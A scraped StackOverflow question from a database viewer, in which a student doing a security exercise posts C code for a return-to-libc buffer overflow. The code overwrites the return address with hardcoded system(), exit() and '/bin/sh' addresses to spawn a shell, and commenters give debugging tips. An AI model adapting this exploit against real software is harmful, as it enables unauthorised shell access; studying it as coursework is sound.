Databases
StackOverflow2013
Postsdbo
POreturn to lib_c buffer overflow exercise issue
 

Note that there are some explanatory texts on larger screens.

plurals
  1. POreturn to lib_c buffer overflow exercise issue
    primarykey
    data
    text
    <p>I'm supposed to come up with a program that exploits the "return to libc buffer overflow". This is, when executed, it cleanly exits and brings up a SHELL prompt. The program is executed in a bash terminal. Below is my C code:</p> <pre><code>#include &lt;stdio.h&gt; int main(int argc, char*argv[]){ char buffer[7]; char buf[42]; int i = 0; while(i &lt; 28) { buf[i] = 'a'; i = i + 1; } *(int *)&amp;buf[28] = 0x4c4ab0; *(int *)&amp;buf[32] = 0x4ba520; *(int *)&amp;buf[36] = 0xbfffff13; strcpy(buffer, buf); return 0; } </code></pre> <p>Using <a href="http://www.sourceware.org/gdb/">gdb</a>, I've been able to determine the following:</p> <ul> <li>Address for "system": 0x4c4ab0</li> <li>Address for "exit": 0x4ba520</li> <li>The string "/bin/sh" resides in memory at: 0xbfffff13</li> </ul> <p>I also know, using <a href="http://www.sourceware.org/gdb/">gdb</a>, that inserting 32 "A"'s into my buffer variable will overwrite the return address. So given that the system call is 4 bytes, I start by filling in my memory "leak" at 28 bytes. At the 28th byte, I begin my system call, then exit call, and finally add my "/bin/sh" memory location.</p> <p>When I run the program, however, I get the following:</p> <pre><code>sh: B���: command not found Segmentation fault (core dumped) </code></pre> <p>I'm really not sure what I'm doing wrong...</p> <p>[EDIT]: I was able to get the string "/bin/sh" by exporting a environmental variable:</p> <pre><code>export MYSHELL="/bin/sh" </code></pre>
    singulars
    1. This table or related slice is empty.
    1. This table or related slice is empty.
    1. PTQuestion
    1. USlightningmanic
    1. USlightningmanic
    plurals
    1. This table or related slice is empty.
    1. This table or related slice is empty.
    1. This table or related slice is empty.
    1. PO
      singulars
      1. PTAnswer
    1. VO
      singulars
      1. POreturn to lib_c buffer overflow exercise issue
      1. This table or related slice is empty.
      1. VTUpMod
    1. COIs your string `"/bin/sh"` terminated with a `\0`?
      singulars
      1. POreturn to lib_c buffer overflow exercise issue
      1. USus2012
    2. COSeeing as I used "export" to get it into memory - it's quite possible it is terminated with the \0 character.
      singulars
      1. POreturn to lib_c buffer overflow exercise issue
      1. USlightningmanic
    3. CO@lightningmanic the address of `/bin/sh` changes before and after `gdb`. Find an occurrence of `/bin/sh` directly in the libc and uses this.
      singulars
      1. POreturn to lib_c buffer overflow exercise issue
      1. USouah
 

Querying!

 
Guidance
A row detail

Detail views are divided into sections. All the information in the data section comes from columns in the selected row. The other sections display data from other, related rows.

Related data can be related in a to-one or a to-many fashion. Captions of data related in a to-many fashion link to a list view showing a filtered view of the table.

Try moving around until you find a non-empty to-many entry and click on the label to get to one. You can move back to the root by clicking on the database name in the header.

SQuiL has stopped working due to an internal error.

If you are curious you may find further information in the browser console, which is accessible through the devtools (F12).

Reload